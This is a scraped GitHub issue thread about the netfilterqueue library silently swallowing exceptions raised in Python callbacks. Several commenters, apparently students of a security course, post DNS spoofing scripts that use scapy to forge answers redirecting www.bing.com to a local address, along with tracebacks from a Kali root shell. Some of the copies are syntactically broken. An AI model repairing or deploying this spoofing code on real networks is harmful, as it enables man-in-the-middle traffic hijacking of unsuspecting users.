You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
When an exception is raised in my callback, I simply see a message like this one:
Exception TypeError: "argument of type 'NoneType' is not iterable" in 'netfilterqueue.global_callback' ignored
This makes troubleshooting painful. Is there a safe way for you to allow the exception to terminate the script with the normal stack trace? Short of that, maybe a constructor argument or other mutator to give developers the ability to opt for more detailed exception information?
I'd like to be more helpful but at a glance I can't tell where these exceptions are being handled and silenced. If you can point me to it, I'll be happy to take a crack at a PR.
`#usr/env/bin python
import netfilterqueue
import scapy.all as scapy
def process_packet(packet
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if ‘www.bing.com’ in queue:
print (' [+] spoofing target')
answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.16')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(str(scapy_packet))
I was returned with the same error as posted in the query, i.e.
Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"
`#usr/env/bin python
import netfilterqueue
import scapy.all as scapy
def process_packet(packet
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if ‘www.bing.com’ in queue:
print (' [+] spoofing target')
answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.16')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(str(scapy_packet))
I was returned with the same error as posted in the query, i.e.
Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"
I am facing sort of same situation, can you help me out with the error with the netfilterqueue library:--
"[+] Spoofing Target
Exception TypeError: "'module' object has no attribute 'getitem'" in 'netfilterqueue.global_callback' ignored"
@YuvrajSingh-16, I think a workaround during development might be to put a blanket try/catch at the top level in your callback function and use the traceback module to print a stack trace that would help you find the error (or use pdb to drop into an interactive debugger).
I am having the same problem. I am here scratching my head. My code looks good but I have the same error.
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Any help would be appreciated.
I have python 3.9.9 , python 2.7.18 and NetfilterQueue 0.8.1
#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if "www.bing.com." in qname:
print("[+] Spoofing target ")
answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.15")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(str(scapy_packet)) # this will replace the original
packet.accept()
#packet.drop()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
Terminal Output:
`┌──(root💀kali)-[~/PycharmProjects/Zsecurity]
└─# python3 dns_spoof.py 130 ⨯
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
^CTraceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 30, in
queue.run()
KeyboardInterrupt
Activity
Zat-DB commentedon Nov 24, 2018
`#usr/env/bin python
import netfilterqueue
import scapy.all as scapy
def process_packet(packet
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if ‘www.bing.com’ in queue:
print (' [+] spoofing target')
answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.16')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()`
I was returned with the same error as posted in the query, i.e.
Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"
Zat-DB commentedon Nov 26, 2018
I made an error in the code, issue resolved.
YuvrajSingh-16 commentedon Dec 3, 2019
Hey, bro need your help!!!
I am facing sort of same situation, can you help me out with the error with the netfilterqueue library:--
"[+] Spoofing Target
Exception TypeError: "'module' object has no attribute 'getitem'" in 'netfilterqueue.global_callback' ignored"
strictlymike commentedon Dec 3, 2019
@YuvrajSingh-16, I think a workaround during development might be to put a blanket try/catch at the top level in your callback function and use the
tracebackmodule to print a stack trace that would help you find the error (or usepdbto drop into an interactive debugger).Prasath30 commentedon Oct 27, 2020
hey guys i am facing the same error I think you guys are students from zsecurity.How did you solve the error??@Zat-DB @strictlymike @YuvrajSingh-16
Bender-Is-Great commentedon Jan 5, 2022
I am having the same problem. I am here scratching my head. My code looks good but I have the same error.
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Any help would be appreciated.
I have python 3.9.9 , python 2.7.18 and NetfilterQueue 0.8.1
Terminal Output:
`┌──(root💀kali)-[~/PycharmProjects/Zsecurity]
└─# python3 dns_spoof.py 130 ⨯
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
^CTraceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 30, in
queue.run()
KeyboardInterrupt
Fixes for several open issues